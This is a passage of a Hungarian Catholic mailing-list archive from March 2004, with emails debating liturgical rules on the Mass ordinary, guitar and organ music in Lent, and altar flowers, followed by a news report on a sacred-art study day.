(IGMR [2000] 397. p.; vö. VL 26-27. p.): az adaptációk során "azt az alapelvet is meg kell tartani, amely szerint minden egyes részegyháznak meg kell egyeznie az egyetemes Egyházzal nemcsak a hitbeli tanításra és a szentségi jelekre nézve, hanem az apostoli és folytonos hagyomány alapján egyetemesen elfogadott gyakorlat tekintetében is, amelyet nemcsak a tévedések elhárítása végett kell megtartani, hanem a hit sértetlen továbbadása érdekében is, mivel az Egyház imádságának szabályai megegyeznek hitének szabályaival. A római rítus a Katolikus Egyház liturgikus kincsestárának jelentős és értékes részét alkotja, amelynek gazdagsága az egész Egyház javát szolgálja, s így súlyos kárt okozna neki ennek elvesztése." A miseordináriumot tehát az Egyház e rituális örökség szerves részének tekinti, azért nem engedi, hogy bárki is hozzányúljon. 2. A gitáros ének A hangszeres zenéről jelenleg elsősorban a II. Vatikáni Zsinat "Sacrosanctum Concilium" rendelkezése és az ezt részletesen kifejtő egyházzenei instrukció szabályai (MS 62-67. p.) irányadók, továbbra is érvényesek azonban X. Szent Pius pápának az egyházi zenéről általában megfogalmazott irányelvei, amelyekre a későbbi dokumentumok is rendre hivatkoznak. A pápa a "Tra le sollecitudini" motu proprio függelékeként közlölt instrukcióban (2. p.) a következőket írja: "Az egyházi zenének [...] a lehető legtökéletesebb fokban kell fölruházva lennie azon tulajdonságokkal, amelyek a liturgia sajátjai: név szerint ilyen a szentség és a formák kifogástalansága, amiből harmadik tulajdonságként következik az egyházi zene egyetemessége." E meghatározást elemezte részletesen és alkalmazta a mai gyakorlatra előadásában Füzes Ádám a motu proprio kibocsátásának 100. évfordulója alkalmából 2003 december 8-a és 10-e között rendezett konferencián. Kérdés azonban, hogy a gitár mint hangszer használata megengedhető-e egyáltalán az egyházi szertartások során (ami persze szűkebb a templomi rendezvények körénél). X. Pius ugyanis a következőket írja elő (19. p.): "A templomban tilos a zongora használata, valamint a többi zajos vagy hiú hangszeré, mint pl. dobok, réztányérok, csengők stb." Az 1967-es instrukció konkrét hangszer említése nélkül ugyanezt a szabályt fogalmazza meg (63. p.): "A hangszerhasználat megengedése és gyakorlata során figyelembe kell venni az egyes népek szellemiségét és hagyományait. Azokat a hangszereket azonban, amelyek az általános megítélés és gyakorlat szerint csak a profán zenéhez illenek, teljesen tartsák távol minden liturgikus cselekménytől, továbbá a szent és jámbor gyakorlatokól." A liturgia művelői között vannak, akik szerint a gitár sokkal inkább tartozik az eredendően profán hangszerek csoportjába, mint pl. a zongora, s ezért lényegileg alkalmatlan arra, hogy liturgikus szertartások során előkerüljön. Mások erről másképpen vélekednek. A döntő szót e tekintetben szintén az egyházi hatóságnak kell(ene) kimondania, vagyis a püspöknek, ill. a püspöki karnak, végső soron pedig az Apostoli Szentszéknek, hiszen ők azok, akiktől "a szent liturgia irányítása egyedül függ" (CIC 838. k., 1. §). Nos, ez az Anyaszentegyház liturgikus jogrendjének válasza Decsi Bálint kérdéseire. Az elméleti megfontolás szintjén lehet, hogy egyeseknek tetszik, másoknak pedig nem; a gyakorlatban ugyancsak lehet, hogy egyesek megtartják, mások pedig nem; kiindulási pontként azonban minden katolikus hívő számára irányadó. A többi már a lelkiismeretünkre van bízva: egyénileg és közösségileg egyaránt (a püspökökét :-))) sem kivéve). Rihmer Zoltán From robert.kovacs@chello.at Mon Mar 1 11:32:49 2004 From: robert.kovacs@chello.at (=?Windows-1252?Q?Robert_Kov=E1cs?=) Date: Mon, 1 Mar 2004 12:32:49 +0100 Subject: [Liturgia] =?Windows-1252?Q?ordin=E1rium_+_az_egyh=E1z_el=F6=EDr=E1sai?= Message-ID: <000d01c3ff80$ed27a140$cc63bad4@chello.at> Kedves Rihmer Zoltán, akkor tessék elkönyvelni, hogy szinte egész nyugat-európában nem éneklik a Gloriát, a Sanctust és az Agnus Deit úgy, ahogyan Rómában "elöírták". Ha a német nyelvü Gotteslobra hivatkozom (kb. 70 millió katolikust érint), szinte kizárólag azokat a Gloriákat éneklik, amelyek "rövidítebb formában" tartalmazzák a Gloria szövegét. Csak, hogy jobban érzékeltessem: 30 másodpercig tartanak ezek a Gloriák. A Schubert-miséröl (GL 802) nem is beszélek, az szinte profán szövegü... Gitár: A legjobban a "zajos és hiú" tetszett. Ugye, nem veszi ezt senki sem komolyan? Ez is jel arra, mennyire hozzá nem értök, akik ilyen rendelkezéseket hoznak, és mégannyira megérett a változásra az "irányvonal". Már elnézést, de az USA-ban nem probléma a zongora használata, meg a többi hiú hangszeré. Azok biztos az ördöggel cimborálnak és tönkre akarják tenni a liturgiát! Vagy akkor hagyjuk ki a Haydn: Paukenmesse-böl az üstdobot? Az is dob, és zajos hangszer! Vagy mi van a 32`-es Bombarde-dal? Az egyház önmagával van ellentmondásban! Hirdeti, hogy "dicsöitsétek öt dobokkal, harsonákkal" meg mindenféle húros és ütös hangszerekkel, máskor meg azt mondja, hogy ne játsszatok ezeken a hangszereken! Ez a felfogás mind szakadáshoz és további elidegenedéshez vezet! Annyira sopánkodunk, hogy kilépnek az emberek az egyházból. Hát például ezért! A mai kor embere sokszor jóval müveltebb, mint amit a prédikációban hall. Azért n e m fog egy normális ember beülni a misére, hogy eleget tegyen az egyház által elöírt kötelezettségének. S mégcsak büntudata sem kell hogy legyen. Söt, lehet, hogy többet ér, ha helyette elmegy kirándulni. Sokszor egy mozifilm is közelebb áll az istentisztelethez, mint maga a szentmise. És végülis erröl szól az életünk, hogy Istent és magunkat egyre jobban megismerjük, és, hogy boldogok legyünk. Ezekkel az elöírásokkal nekem az a másik fö problémám, hogy éppen azok, akik ezeket leírták, az elsök, akik nem tartják be. Az olaszok egyébként is híresek a nagy szabály-tisztelö életmódjukról. Pont mi magyarok akarunk annyira mindennek megfelelni? Még a szemét-szétválogatásig sem jutottunk el! Inkább azon gondolkozhatnánk már el, kezdve a legfelsöbb szinteken (jogforrási hierarchia címszó alatt), hogy milyen felkéréseket adjunk a zeneszerzöinknek, akik enyhén szólva nem a tehetségükböl és tudásukból élnek meg, hanem kényszervállalkozók. Tessék kiírni pályázatokat, ahol meg van adva, hogy a zeneszerzö írjon egy adott müvet, egy adott alkalomra, különös tekintettel olyan hangszerekre, amelyek az általános megítélés és gyakorlat szerint csak a profán zenéhez illenek, és a nép is résztvevöje lehet, esetleg az általános repertoárra lehet vinni. Kodályék, Wernerék is így írták meg a müveiket annak idején. Kedves Decsi Bálint! Örömmel olvastam reakcióját. Mi magyarok nyugaton a ritmusérzékünkröl és muzikalitásunkról vagyunk híresek. (Persze még mindig a gulyás és a paprika a favorit! :)) ) Ennek ellenére a templomokban valóban ennek ellenkezöjéröl gyözödhetünk meg, ahogy Ön is írta. Rétestészta-nyújtás stb. Hogy miért van ez így? Erre nagyon egyszerü a válasz: mert ez mindenhol így van, ahol nem tanítják meg, hogy hogyan kell népéneket orgonálni! Van egy alapvetö tévhit Magyarországon (nemcsak nálunk, hanem a szomszédainknál is, kivéve Ausztriát): hogy az orgonista "kíséri" a népet. Mint valami gyászmenetet. Az orgonista VEZETI a népet! Ö a KARMESTER! Ha ez fordítva van, akkor a farok csóválja a kutyát. Az énekeink nagy része olyan, mint anyanyelvünk ritmusa: egyenletes. Igazán nincsenek benne hangsúlyok, ami az olaszban pl. annyira fontos. Ezen azonban nem lehet változtatni, azonban muszáj volna olyan irányba elindulni az oktatásban, ami az énekek értelmesebb interpretációja felé vezet. A Szent vagy, Uram! kíséretes könyv már 30 éve elavult. Nem az énekek, hanem a kíséretek. Sajnos nem volt rá elismert szakember, aki mert és akart volna rajta változtatni. Egyébként nagyszerüen lehet új egyházi énekeket is orgonán játszani. Na, ja. Nem úgy szól, mint a hagyományos énekek, de nagyon jól müködik! Az ének-szövegeket pedig valóban át kellene írni a mai ember nyelvére. Nem tudom, hogy van-e már ilyen szándék? Elnézést a hosszú levélért! Boldog Nagyböjtöt kívánva, Kovács Rňbert From keri_zoltan@hotmail.com Mon Mar 1 14:07:35 2004 From: keri_zoltan@hotmail.com (Zoltan Keri) Date: Mon, 01 Mar 2004 15:07:35 +0100 Subject: [Liturgia] Orgonajáték nagyböjtben Message-ID:

Kedves Márk! Néhány szóval reagálok fejtegetéseidre:

>From: "Kaibás Gábor Márk"
>Subject: [Liturgia] Orgonajáték nagyböjtben
>Date: Fri, 27 Feb 2004 19:48:15 +0100
>A nagyböjtben való orgonahasználattal kapcsolatban az alábbiakat szeretném megjegyezni.

>1. az ének kíséretén kívüli orgonajáték - különösen a kezdeti akkordok -elengedhetetlen az igényes énekléshez, ugyanis ekkor adja meg az orgonista az énekhangot, a tempót, de legfoképpen azt, hogy MIT FOG ÉNEKELNI!

Ez szerintem is teljesen természetes: a megfelelően rövid előjáték szükségszerűen hozzátartozik az ének kíséretéhez, föl sem merült bennem, hogy el kellene hagyni.

>2. szükséges a halk, meditatív zene abból kifolyólag, hogy ha belegondolunk nem lehet úgy önátadást végezni az áldozás utáni hálaadás alkalmával, ha az elmélyülni kívánó ember csak Mari nénit hallja torka szakadtából.

Áldozás utáni hálaadásra szerintem inkább való ének, mivel a hálaadás közösségben végzett hálaadás, ahogyan az egész szentmise közösségben végzett istentisztelet, s ennek közösségi jellegét, "közügy" mivoltát éppen a fennhangon, közösen végzett éneklés emeli ki. Természetesen szükség van egyéni imádságban való elmélyülésre: erre volna alkalmas szerintem az áldozás után beiktatott "szent csönd", éppen a megszokott orgonazene helyett.

>Én úgy gondolom az orgonajáték háttérbe szorítása, vagy kizárása a nagyböjt folyamán pont ezt az önsanyargatást, keseruséget, szomorúságot domborítja ki, ami nem célja a nagyböjtnek.

Célja viszont talán a nagyböjtnek az önmegtagadás gyakorlása, az elcsendesedés, fokozott Istenre figyelés. Nem teljesen megalapozatlan tehát úgy gondolkodnunk, hogy éppen nagyböjtben helyesebb lehet a templomi zene tekintetében is sokkal visszafogottabbnak, szerényebbnek lennünk; nem azért, mert keserűek vagy szomorúak vagyunk, hanem mert ezzel a tkp. "önmegtagadással" magunk is csökkentjük a liturgia külsődleges ("mulandó!") csillogását (ld. pl. az oltárt is tilos virággal díszíteni), ezzel jobban ráirányítva a figyelmet a lényegi cselekményekre és szimbolumokra.

Üdvözlettel: Kéri Zoltán


Help STOP spam with the new MSN 8 and get 2 months FREE* From urbanp@ektf.hu Mon Mar 1 16:41:19 2004 From: urbanp@ektf.hu (=?iso-8859-2?B?VXJi4W4gUOl0ZXI=?=) Date: Mon, 1 Mar 2004 17:41:19 +0100 Subject: [Liturgia] (no subject) Message-ID: <007401c3ffac$3e49fd40$7723e1c1@urbnpt> This is a multi-part message in MIME format. ------=_NextPart_000_006B_01C3FFB4.67DF7600 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable "akkor tess=E9k elk=F6nyvelni, hogy szinte eg=E9sz nyugat-eur=F3p=E1ban = nem =E9neklik a Glori=E1t, a Sanctust =E9s az Agnus Deit =FAgy, ahogyan R=F3m=E1ban = "el=F6=EDrt=E1k". Ha a n=E9met nyelv=FC Gotteslobra hivatkozom (kb. 70 milli=F3 katolikust = =E9rint), szinte kiz=E1r=F3lag azokat a Glori=E1kat =E9neklik, amelyek "r=F6vid=EDtebb = form=E1ban" tartalmazz=E1k a Gloria sz=F6veg=E9t. Csak, hogy jobban = =E9rz=E9keltessem: 30 m=E1sodpercig tartanak ezek a Glori=E1k. A Schubert-mis=E9r=F6l (GL 802) = nem is besz=E9lek, az szinte prof=E1n sz=F6veg=FC..." Aha! Akkor, h=E1t, igaz? A f=F5p=E1sztorom is figyelmeztetett m=E1r, = hogy a psalmus idioticus-t (=3Dgloria) nyugaton m=E1r sehol nem = =E9neklik, ne sz..(=F3rak)ozzak!=20 ...rem=E9lem az uncsi evang=E9liumok helyett is lesz valami izgi =FAj... Megjegyzem, =E9n m=E9g t=F6meget olyan egy=F6ntet=FBen, hars=E1nyan, = temp=F3san, mag=E1val ragad=F3n =E9nekelni nem hallottam (m=E9g a = felv=F6r=F6s=F6ket sem), mint t=EDzen=E9ve az egyik sz=E9kesegyh=E1zban = (n=E9v =E9s c=EDm n=E1lam) okt. 8-=E1n =C1LDOZ=C1SKOR(!): = Nagyasszonyunk, Haz=E1nk Rem=E9nye! Val=F3ban d=F6bbenetes volt (minden = szempontb=F3l)! Egy=E9bk=E9nt: sajn=E1lom, hogy felvetettem a giccses = =E9nekhelyettes=EDt=F5-orgonaj=E1t=E9kot mint megengedhet=F5 = lehet=F5s=E9get; tal=E1n csak K=E9ri koll=E9ga level=E9t =E9rettem = f=E9lre (mintha r=E1 kellene parancsolni a k=E1ntorokra.). =DAgy l=E1tom f=E9lrecs=FAszott a t=E9ma, =E9s a liturgi=E1r=F3l kiss=E9 = dilett=E1ns m=F3don kezd=FCnk besz=E9lni... =DCdv.:=20 Urb=E1nP=E9ter =20 ----- Original Message -----=20 From: Robert Kov=E1cs To: Sent: Monday, March 01, 2004 12:32 PM Subject: [Liturgia] ordin=E1rium + az egyh=E1z el=F6=EDr=E1sai ------=_NextPart_000_006B_01C3FFB4.67DF7600 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable

"akkor tess=E9k = elk=F6nyvelni,=20 hogy szinte eg=E9sz nyugat-eur=F3p=E1ban nem =E9neklik a
Glori=E1t, a = Sanctust =E9s az=20 Agnus Deit =FAgy, ahogyan R=F3m=E1ban "el=F6=EDrt=E1k". Ha a
n=E9met = nyelv=FC Gotteslobra=20 hivatkozom (kb. 70 milli=F3 katolikust =E9rint), szinte
kiz=E1r=F3lag = azokat a=20 Glori=E1kat =E9neklik, amelyek "r=F6vid=EDtebb = form=E1ban"
tartalmazz=E1k  a Gloria=20 sz=F6veg=E9t. Csak, hogy jobban =E9rz=E9keltessem: 30
m=E1sodpercig = tartanak ezek a=20 Glori=E1k. A Schubert-mis=E9r=F6l (GL 802) nem is
besz=E9lek, az = szinte prof=E1n=20 sz=F6veg=FC..."

 Aha! = Akkor, h=E1t,=20 igaz? A f=F5p=E1sztorom is figyelmeztetett m=E1r, hogy a psalmus = idioticus-t (=3Dgloria)=20 nyugaton m=E1r sehol nem =E9neklik, ne sz..(=F3rak)ozzak! =
...rem=E9lem az uncsi=20 evang=E9liumok helyett is lesz valami izgi =FAj...

 Megjegyzem, =E9n m=E9g=20 t=F6meget olyan egy=F6ntet=FBen, hars=E1nyan, temp=F3san, mag=E1val = ragad=F3n =E9nekelni=20 nem hallottam (m=E9g a felv=F6r=F6s=F6ket sem), mint t=EDzen=E9ve az = egyik sz=E9kesegyh=E1zban=20 (n=E9v =E9s c=EDm n=E1lam) okt. 8-=E1n =C1LDOZ=C1SKOR(!): = Nagyasszonyunk, Haz=E1nk Rem=E9nye!=20 Val=F3ban d=F6bbenetes volt (minden = szempontb=F3l)!

 Egy=E9bk=E9nt: sajn=E1lom,=20 hogy felvetettem a giccses =E9nekhelyettes=EDt=F5-orgonaj=E1t=E9kot mint = megengedhet=F5=20 lehet=F5s=E9get; tal=E1n csak K=E9ri koll=E9ga level=E9t =E9rettem = f=E9lre (mintha r=E1 kellene=20 parancsolni a k=E1ntorokra…).

=DAgy l=E1tom f=E9lrecs=FAszott a = t=E9ma, =E9s a=20 liturgi=E1r=F3l kiss=E9 dilett=E1ns m=F3don kezd=FCnk = besz=E9lni...

 =DCdv.:

Urb=E1nP=E9ter

 

----- Original Message ----- =

From: Robert Kov=E1cs <robert.kovacs@chello.at>

To: <liturgia@katolikus.hu><= /o:p>

Sent: Monday, March 01, 2004 12:32=20 PM

Subject:=20 [Liturgia] ordin=E1rium + az egyh=E1z = el=F6=EDr=E1sai
------=_NextPart_000_006B_01C3FFB4.67DF7600-- From urbanp@ektf.hu Mon Mar 1 16:40:56 2004 From: urbanp@ektf.hu (=?iso-8859-2?B?VXJi4W4gUOl0ZXI=?=) Date: Mon, 1 Mar 2004 17:40:56 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Nagyb=F6jtben_tilos_a_vir=E1g.?= Message-ID: <007301c3ffac$3c6add00$7723e1c1@urbnpt> This is a multi-part message in MIME format. ------=_NextPart_000_0064_01C3FFB4.5A40D3E0 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Ha a liturgia k=FCls=F5s=E9gei (sz=EDnes ruh=E1k, olt=E1rter=EDt=F5k, = vir=E1gok, gyerty=E1k, orgonasz=F3) arra val=F3k, hogy az emberek = figyelm=E9t valamire jobban r=E1ir=E1ny=EDts=E1k, akkor itt valami nem = stimmel. Akkor minden d=EDsz elvonja a figyelmet a l=E9nyegr=F5l; templomaink = legyenek tiszt=E1k, feh=E9rek, =FCresek. Ha azonban nem arra val=F3 (pl. = vir=E1g: sz=F3n=E1l pontosabban kifejezi, tisztelet=FCnket az = olt=E1riszents=E9gben jelenlev=F5 Krisztus ir=E1nt), akkor a = nagyb=F6jtben mi indokolja tisztelet=FCnknek ilyen l=E1tv=E1nyos = megv=E1ltoz=E1s=E1t? =C1mde, ha a m=E9gis az =E9rz=E9kek fegyelm=E9r=F5l = (megfegyelmez=E9s=E9r=F5l) van sz=F3, akkor egy pici ellentmond=E1s csak = van a dologban. Azt im=E1dkozzuk az egyik pref=E1ci=F3ban: A te boldogs=E1god (ui. = Isten=E9) teljes a mi dics=E9ret=FCnk n=E9lk=FCl is. (=E9s) a mi = magasztal=E1sunk nem tesz nagyobb=E1 t=E9ged, nek=FCnk azonban = =FCdv=F6ss=E9g=FCnkre v=E1lik (=C1men.). Vagyis: Istennek nincs = sz=FCks=E9ge arra, ami nek=FCnk az =FCdv=F6ss=E9g=FCnkre v=E1lik. Itt = minden az=E9rt nagyon fontos, mert mik=F6zben Isten dics=E9rj=FCk, mi = magunk v=E1lunk alkalmass=E1 =FCdv=F6ss=E9ge befogad=E1s=E1ra. Az = =F6nc=E9l=FA istendics=E9ret (az=E9rt dics=E9rj=FCk, mert dics=E9rni = akarjuk, nincs m=E1s c=E9lunk vele) m=E9gis eged=FCl nek=FCnk (az = EMBERNEK) fontos. =C9let=E9nek =E9s k=F6z=F6ss=E9gi =E9let=E9nek = cs=FAcsa =E9s forr=E1sa. Ez=E9rt az a dics=E9ret, im=E1d=E1s j=F3, ami = ember-form=E1j=FA, =E9s ami a leg=E1ltal=E1nosabban emberi. Sem nem = t=FAl hars=E1ny, sem nem kir=EDv=F3. Ink=E1bb visszafogott: az = =FCnnep=E9lyess=E9g=E9ben is tart=F3zkod=F3, hogy mindenki=E9 lehessen = egyszerre. Ne csak az=E9, aki most szinte elsz=E1ll az =F6r=F6mt=F5l = =E9s ujjong=F3 lelk=E9ben, hanem, aki most szomor=FA, de Isten=E9hez = fordul ebben az =E1llapotban is.=20 Sz=E1momra ez=E9rt fontosak az el=F5=EDr=E1sok, a rubrik=E1k, hogy = saj=E1t magunkt=F3l (is) meg=F5rizzenek, az =F6tleteinkt=F5l, a = kreativit=E1sunkt=F3l, de ne TILOSozzunk!=20 =DCdv.: Urb=E1nP=E9ter ------=_NextPart_000_0064_01C3FFB4.5A40D3E0 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
Ha a liturgia = k=FCls=F5s=E9gei (sz=EDnes=20 ruh=E1k, olt=E1rter=EDt=F5k, vir=E1gok, gyerty=E1k, orgonasz=F3) arra = val=F3k, hogy az emberek=20 figyelm=E9t valamire jobban r=E1ir=E1ny=EDts=E1k, akkor itt valami nem = stimmel.

Akkor minden d=EDsz elvonja a = figyelmet a=20 l=E9nyegr=F5l; templomaink legyenek tiszt=E1k, feh=E9rek, =FCresek. Ha = azonban nem arra=20 val=F3 (pl. vir=E1g: sz=F3n=E1l pontosabban kifejezi, tisztelet=FCnket = az=20 olt=E1riszents=E9gben jelenlev=F5 Krisztus ir=E1nt), akkor a = nagyb=F6jtben mi indokolja=20 tisztelet=FCnknek ilyen l=E1tv=E1nyos megv=E1ltoz=E1s=E1t? =C1mde, = ha a m=E9gis az =E9rz=E9kek=20 fegyelm=E9r=F5l (megfegyelmez=E9s=E9r=F5l) van sz=F3, akkor egy pici = ellentmond=E1s csak van a=20 dologban…

Azt im=E1dkozzuk az egyik = pref=E1ci=F3ban:  A te boldogs=E1god (ui. = Isten=E9) teljes a=20 mi dics=E9ret=FCnk n=E9lk=FCl is… (=E9s) a mi magasztal=E1sunk nem = tesz nagyobb=E1 t=E9ged,=20 nek=FCnk azonban =FCdv=F6ss=E9g=FCnkre v=E1lik (=C1men.). Vagyis: = Istennek nincs sz=FCks=E9ge=20 arra, ami nek=FCnk az =FCdv=F6ss=E9g=FCnkre v=E1lik. Itt minden az=E9rt = nagyon fontos, mert=20 mik=F6zben Isten dics=E9rj=FCk, mi magunk v=E1lunk alkalmass=E1 = =FCdv=F6ss=E9ge befogad=E1s=E1ra. Az=20 =F6nc=E9l=FA istendics=E9ret (az=E9rt dics=E9rj=FCk, mert dics=E9rni = akarjuk, nincs m=E1s c=E9lunk=20 vele) m=E9gis eged=FCl nek=FCnk (az EMBERNEK) fontos. =C9let=E9nek =E9s = k=F6z=F6ss=E9gi =E9let=E9nek=20 cs=FAcsa =E9s forr=E1sa. Ez=E9rt az a dics=E9ret, im=E1d=E1s j=F3, ami = ember-form=E1j=FA, =E9s ami a=20 leg=E1ltal=E1nosabban emberi. Sem nem t=FAl hars=E1ny, sem nem = kir=EDv=F3. Ink=E1bb=20 visszafogott: az =FCnnep=E9lyess=E9g=E9ben is tart=F3zkod=F3, hogy = mindenki=E9 lehessen=20 egyszerre. Ne csak az=E9, aki most szinte elsz=E1ll az =F6r=F6mt=F5l = =E9s ujjong=F3 lelk=E9ben,=20 hanem, aki most szomor=FA, de Isten=E9hez fordul ebben az =E1llapotban = is.=20
Sz=E1momra ez=E9rt fontosak az = el=F5=EDr=E1sok, a rubrik=E1k, hogy=20 saj=E1t magunkt=F3l (is) meg=F5rizzenek, az =F6tleteinkt=F5l, a = kreativit=E1sunkt=F3l, de ne=20 TILOSozzunk!

=DCdv.:=20 Urb=E1nP=E9ter

------=_NextPart_000_0064_01C3FFB4.5A40D3E0-- From GEZAZGLR@aol.com Mon Mar 1 17:13:59 2004 From: GEZAZGLR@aol.com (GEZAZGLR@aol.com) Date: Mon, 1 Mar 2004 12:13:59 EST Subject: [Liturgia] (no subject) Message-ID: --part1_bf.3c75184c.2d74c957_boundary Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable =C9rdekes, de itt az USAbeli Stamfordban (=E9s masutt is) Vas=E1rnap (persze= =C1dvent=20 =E9s nagyb=F6jt kiv=E9tel=E9vel,) rend=FCletlen=FCl =E9nekelj=FCk a Gl=F3ri= =E1t. G=E9za --part1_bf.3c75184c.2d74c957_boundary Content-Type: text/html; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable =C9rdekes, de itt az USAbeli Stamfo= rdban (=E9s masutt is) Vas=E1rnap (persze =C1dvent =E9s nagyb=F6jt kiv=E9tel= =E9vel,)  rend=FCletlen=FCl =E9nekelj=FCk a Gl=F3ri=E1t.
G=E9za --part1_bf.3c75184c.2d74c957_boundary-- From =?iso-8859-2?Q?nagyn=E9_kov=E1cs_em=F5ke?= Mon Mar 1 20:34:56 2004 From: =?iso-8859-2?Q?nagyn=E9_kov=E1cs_em=F5ke?= (=?iso-8859-2?Q?nagyn=E9_kov=E1cs_em=F5ke?=) Date: Mon, 1 Mar 2004 21:34:56 +0100 (CET) Subject: [Liturgia] (no subject) Message-ID: <20040301203456.A0CFEABCC3@jam.adverticum.net> Katolikus vagyok de ennyire más minden mindenhol, Na jó ahány ház annyi szokásde mégis akkor mitől egytemes? igaz hpgy sok unalmas dolog van a liturgiánkban, aminek a jelentésére már nem tudunk odafigyelni és arengeteg vriágot sem szeretem mert elvonja afigyelmet nem csak ilyenkor De akkor mást is el kellene tüntetni, igaz ami templomunk fehér Az énekek na azok szövege némelyiknek nagyon bárgyú bocs de igy van., el kellene gondolkodni aliturgián, hogy ne mondják az öregasszinyok közben arózsafüzért ne azzal kezdjék hogy szobrot csókolnak és simogatnak. na szóval szerintem ez már bálványozás . bocs ezt egy laikustól de mi is gondolkodunk. Nagyné From fuvesjan@freemail.hu Mon Mar 1 22:32:17 2004 From: fuvesjan@freemail.hu (=?iso-8859-2?B?Rvx6ZXMgwWThbQ==?=) Date: Mon, 1 Mar 2004 23:32:17 +0100 Subject: [Liturgia] =?iso-8859-2?Q?hamu=2C_orgona_=E9s_k=E1ntorok?= Message-ID: <029401c3ffdd$0de3e400$de82fea9@ROMA> Tisztelt Listatagok! A hétvégén nem jutottam hozzá, hogy érdemben olvassam a listát, amelyet a megérkezett nagyböjt ilyen örvendetesen megpezsdített. A felvetett szakmai kérdéseket Kovács Ervin és Rihmer Zoltán már nagyon szakszerűen megválaszolták. Kovács Róbert levelei azonban egészen általános kérdéseket vet fel. Az egyik a hangneme, amelyre reméltem, hogy a magasról kioktatott magyarországi orgonista szakma felel valamit. Nem vagyok orgonista, de a nagyböjti repertoár kapcsán leírt kioktatás engem is bántott. Liturgikusként pedig sokkal inkább az, hogy az Egyház előírásait legyintéssel és lesajnáló mosollyal elintézte, mondván, hogy a "haladó" világ már régen túljutott ezen. A liturgia az Egyház közös, nyilvános imádsága, az Egyház által jóváhagyott szövegek, rend szerint, az Egyház hierarchikus rendjében. Lehet, hogy ezt ódivatúnak bélyegzi, de a II. Vatikáni Zsinat liturgikus konstitúciója is ezt tanítja. Amit hitről, miséről mond (jobb néha helyette kirándulni, moziba menni), az nem csak az Egyház tanításával ellentétes, hanem ... Rihmer Zoltán említette a liturgikus zene szentségéről elhangzott MET-es előadásomat. Majd igyekszem föltenni a honlapra, mert számomra is érdekes adatok és gondolatmenet bontakozott ki annak nyomán, hogy mitől is szent a liturgikus zene. Semmiképpen sem az érzelmek, ritmus, katartikus élmény miatt, jóllehet az igazi szépség megnyilvánulása valódi, mély érzelmeket és hosszantartó katartikus élményt nyújt. Hasonlattal élve az édességet minden gyerek rögtön szereti, de a tápláló, egészséges ételeket meg kell velük szerettetni, mert csokoládén nem lehet felnőni. A gitáros zenekart nálunk most szervezem át szkólává. Kell foglalkozni, nevelni, de van értelme. A hívek pedig egy-egy szép szentmise után, amelyben minden a helyén volt (miserészek, ruhák, tömjén, prédikáció, közvetlenség és szentség), sokszor külön odajönnek megköszönni, hogy ilyenben már régen nem volt részük. Mert a templomba Istennel, a szenttel jönnek találkozni, és nem a bevásárlóközpontok mindenütt hangzó ritmikus zenéjét akarják itt is hallani, vagy bárgyú, jóllehet "új" szövegeket hallani. Üdv: Füzes Ádám From fuvesjan@freemail.hu Mon Mar 1 22:38:53 2004 From: fuvesjan@freemail.hu (=?iso-8859-2?B?Rvx6ZXMgwWThbQ==?=) Date: Mon, 1 Mar 2004 23:38:53 +0100 Subject: [Liturgia] Muveszet az istentisztelet szolgalataban Message-ID: <02a001c3ffdd$f9dd6fc0$de82fea9@ROMA> ************************************************************* ****** Művészet az istentisztelet szolgálatában ***** ************************************************************* Magyar Kurír, 2004.03.01. Budapest: A fenti címmel rendezett tanulmányi napot a szakrális képzőművészetben alkotók számára a Magyar Liturgikus és Egyházzenei Intézet (MALEZI), a Magyar Tudományos Akadémia és a Pázmány Péter Katolikus Egyetem Liturgiatudományi kutatócsoportja február 26-án. A rendezvényt megnyitó üdvözletében Verbényi István kanonok, a MALEZI igazgatója hangsúlyozta: a szakrális művészet nélkülözhetetlen az egyház liturgikus életében. A kortárs képzőművészet műemlék templomainkban címmel tartott előadásában Farkas Attila, az Országos Katolikus Gyűjteményi Központ igazgatója a templomokban elhelyezhető műtárgyakkal szemben támasztott követelményekről, a liturgikus tér funkciójáról, és a műemlékvédelmi szempontokról szólt. Kifejtette: a templomokban nincs helye sem a giccsnek, sem olyan műalkotásnak, amely sérti a szakralitást, vagyis a természetfelettivel, az istenivel ellentétes jelentést hordoz. A liturgikus belső tér még művészi elemekkel sem vonhatja el a figyelmet a legfontosabbról, a liturgiáról. Farkas Attila felhívta a figyelmet arra is, hogy templomaink jelentős része műemlék, a nemzeti kultúrának, nemzeti vagyonnak a része, amelynek megőrzésében az egyháznak is felelőssége van. A modern képzőművészeti alkotások helyt kaphatnak a műemlék templomokban, de elhelyezésüknél a szakralitás mellett figyelembe kell venni az adott építmény történetiségét, vagyis mindazokat a történeti korszakokat, stílusjegyeket, amelyeket a templom tükröz. Az előadó képekkel illusztrálta az elmondottakat, elemezve, hogy a megadott szempontoknak mennyiben felelnek meg a bemutatott templomrekonstrukciók, illetve a műemlék templomokban elhelyezett műalkotások. Jelenits István piarista szerzetestanár A kortárs képzőművészet szerepe a mai egyházban című előadásában a modern művészet válságáról is szólt, kiemelve: korunkban az ember van válságban, ezt tükrözi a művészet is. Művészet és egyház viszonya századokon keresztül egészében harmonikus volt: az egyház megrendelőként és mecénásként, de ugyanakkor anyaként volt jelen, maga köré gyűjtötte a művészeket. Ez a nagycsaládra emlékeztető viszony alapvetően megváltozott a szekularizáció megjelenésével és általánossá válásával. A művészet elveszítette a transzcendencia iránti érzékét, a fogyasztói társadalomban megjelent a tömegkultúra. A művészet vezérlő elve a kaland, az önmegvalósítás lett, a művész nem csak a hatalommal, de az egyházzal szemben is őrzi szabadságát. Ez a féltve őrzött szabadság azonban nem az alkotás szabadságát és öntörvényűségét jelenti a legtöbb esetben, hanem az önmegvalósítás "szabadságát." Ám ez a lehangoló helyzet egyben lehetőség is - mondta Jelenits István. Ratzinger bíborost idézte, aki egy interjúban arról beszélt, hogy korunkban a hit a hitetlenség kísértésében él, hiszen a hívők állandóan találkoznak, szinte körül vannak véve nem hívőkkel. Ám ez fordítva is igaz, és éppen az adja a lehetőséget a nem hívőknek is, hogy a hit "megkísértse" őket. Hasonló a mai művészet és egyház kapcsolata is. Az egyháznak ma nem csupán a szakrális művészet felé kell fordulnia, hanem a keresztény ihletettségű, vagy a kereső művészet felé is, a 